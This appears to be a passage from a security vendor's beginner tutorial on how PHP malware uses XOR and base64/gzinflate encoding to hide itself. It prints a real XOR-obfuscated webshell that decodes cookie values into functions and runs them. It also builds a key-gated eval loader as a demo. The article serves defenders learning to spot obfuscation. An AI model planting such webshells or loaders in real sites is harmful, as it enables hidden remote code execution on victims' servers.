In practical terms, XOR is used for basic encryption or data masking. It’s fast and doesn’t require a lot of computing power. For example, if you have a secret key that both the sender and receiver know, you could XOR your message with this key to obscure the text before sending it over the internet. The downside to this is that it is usually trivial to find the “key” using statistical analysis, so while XOR encoding is used as part of a much more complex process by many strong encryption schemes, it is not secure encryption on its own.

How is XOR Encoding Used by Malware?

XOR encoding is particularly useful for attackers who want to restrict access to malware, such as webshells, used to control a website. For instance, by making the XOR “key” a value that isn’t present in the malware itself but is passed in by an input parameter, it acts as a password protection mechanism that makes the malware unable to run unless an attacker who knows the key sends a specially crafted request. Likewise, needing the key to deobfuscate the malware makes it much more difficult for security analysts and scanners to identify malicious behavior.

The following malicious file actually includes the “key” in the malware itself, but requires commands to be encoded with that key before they can be processed. It accepts various $_COOKIE values and XORs them against the value of $odqwv, then executes the decoded commands.

12345678910111213<?php $odqwv= "\x16\x13\x1b\x13@V*\x1e\x0\x2\xb\x16\xc"^ "trhvvbuzeadricgobq"; $mvxr= $_COOKIE; foreach($mvxras$q=>$h){$mvxr[$q] = $odqwv($h) ^ str_pad($q, strlen($h), $q);}$zgas= $mvxr["dj"]();$lo= $mvxr["ayy"] ($zgas);$lo= $lo['uri'];$mvxr["l"] ($zgas, $mvxr["mdcgv"]);require($lo);$mvxr["kxldb"] ($zgas);$mvxr["rfmcipa"]($lo);?>

This means that any attacker that knows the value of $odqwv can thus send commands to the file that have already been XORd against that value, which will then be reversed and executed.

In this example, $odqwv is the XORd value of \x16\x13\x1b\x13@V*\x1e\x0\x2\xb\x16\xc and trhvvbuzeadricgobq which turns out to be “base64_decode.” You can find this value by creating a simple one liner

1<?php $odqwv= "\x16\x13\x1b\x13@V*\x1e\x0\x2\xb\x16\xc"^ "trhvvbuzeadricgobq"; echo$odqwv;?>

which prints the value. In this case $odqwv is the literal string “base64_decode” but this is simply used as a key and does not refer to the built-in function itself.

The value in $_COOKIE[“dj”] is then XORd against the $odqwv key, which is ‘base64_decode’, and the result is called as a function, with similar steps occurring throughout the rest of the code.

Putting it All Together

Most obfuscated malware uses a combination of these techniques to hide its functionality, and combined techniques are one of the clearest indications of malicious activity. For example, take the following code:

1234567891011<?php$base64_data= "09NQVsnOZNZTV1dJz5ZRsVTXz8osAAA=";$xor_key= $_GET[‘k’];$decoded_base64= base64_decode($base64_data);$inflated_data= gzinflate($decoded_base64);$xor_decoded= $inflated_data^ str_repeat($xor_key, strlen($inflated_data));eval($xor_decoded);?>

If supplied with the correct $xor_key, it will output “Hello, World!”.

Let’s take a look at how we did this:
First, we took the code ‘echo “Hello, World!”;’ and XOR-encoded it with a key value of ‘K’, resulting in the output .(#$ki.''$gk$9'/jip.

We then ran it through the gzdeflate function, which results in a binary output that can’t be rendered here, but after base64-encoding that output it turns into 09NQVsnOZNZTV1dJz5ZRsVTXz8osAAA=.

If you placed the code in a hello.php file on your site and accessed it, you’d get a blank screen unless you sent a request to /hello.php?k=K, which would output “Hello, World!”.

While this example only outputs “Hello, World!” when it is passed the right key, it is trivial to disguise any PHP code in this manner, including destructive code that adds malicious administrators, creates additional malicious files, or alters system settings.

Conclusion

In today’s article, we discussed the most commonly used encoding techniques in PHP, their legitimate applications, and how malicious code uses them to obfuscate its purpose and intent. While obfuscation is an arms race, the Wordfence scanner and Wordfence CLI both use our incredibly effective malware detection signatures and are able to detect the vast majority of obfuscated malware targeting WordPress. A large part of why this is possible is due to our expertise and deep understanding of these encoding techniques and which combinations of encoding tend to indicate malicious behavior. Our experienced security analysts are continuously writing new signatures to improve our detection capabilities.

In a future article, we’ll cover more advanced obfuscation techniques that rely on other properties and quirks of PHP, but it’s necessary to understand basic encoding methods first because of how frequently they’re used, even when they’re not the primary method of obfuscation.

We encourage readers who want to learn more about this to experiment with the various code snippets we have presented. More advanced readers may wish to review public malware repositories in order to better learn to spot these indicators, but be sure to be careful with any actual malware samples you find and only execute them in a virtual environment, as even PHP malware can be used for local privilege escalation on vulnerable machines.

For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard.

Did you enjoy this post? Share it!

Source :
https://www.wordfence.com/blog/2023/10/know-your-malware-a-beginners-guide-to-encoding-techniques-used-to-obfuscate-malware/